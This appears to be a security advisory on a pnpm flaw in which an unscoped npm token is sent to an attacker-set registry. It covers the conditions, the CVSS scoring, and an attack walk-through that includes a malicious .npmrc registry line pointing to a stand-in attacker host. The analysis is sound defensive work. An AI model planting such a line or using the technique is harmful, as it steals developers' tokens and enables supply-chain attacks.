pnpm CVE-2026-50017

Three conditions must be simultaneously true for exploitation: (1) the victim developer has an unscoped _authToken stored in their user-level npm configuration (e.g., ~/.npmrc contains a bare _authToken= line not scoped to a specific registry host); (2) the attacker can get the developer to execute pnpm metadata fetch or install commands inside a repository whose project-level .npmrc sets registry= to an attacker-controlled URL; and (3) that project .npmrc does not supply its own auth token for the redirected registry, which triggers the fallback to the user's global unscoped credential. Exploitation is bounded by UI:A - passive network presence alone is insufficient; active developer invocation of pnpm is required. Developers using only registry-scoped tokens (e.g., //registry.npmjs.org/:_authToken=...) are not affected regardless of pnpm version. Automated CI systems running pnpm against untrusted repository inputs may be vulnerable if configured with unscoped tokens.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N) scores 6.9, reflecting high confidentiality impact against a network-accessible attack path, tempered by the UI:A requirement - the developer must actively invoke pnpm in a malicious repository. The PR:N metric correctly reflects the attacker perspective: no credentials on the victim machine are needed; only control of a rogue registry endpoint. Real-world risk is asymmetrically high relative to the score because a stolen npm token can be weaponized for supply chain attacks, far beyond the immediate confidentiality boundary. No KEV listing exists and no POC code has been identified, indicating this is not yet under widespread opportunistic exploitation. EPSS data is unavailable in the provided intelligence. The primary limiting factor is the social engineering requirement: the attacker must induce a developer with an unscoped npm token to clone and run pnpm install in a crafted repository - a realistic but non-trivial bar in targeted developer-focused attacks.

An attacker sets up a server acting as a fake npm registry and publishes or contributes a repository whose .npmrc contains registry=https://attacker-controlled-registry.example.com with no associated auth line. When a developer who has an unscoped _authToken in their ~/.npmrc clones the repository and runs pnpm install, pnpm resolves the attacker's registry as the target and forwards the developer's token in the Authorization header. The attacker's server logs the token, which can then be used to publish malicious packages to the real npm registry or exfiltrate private packages accessible to that account.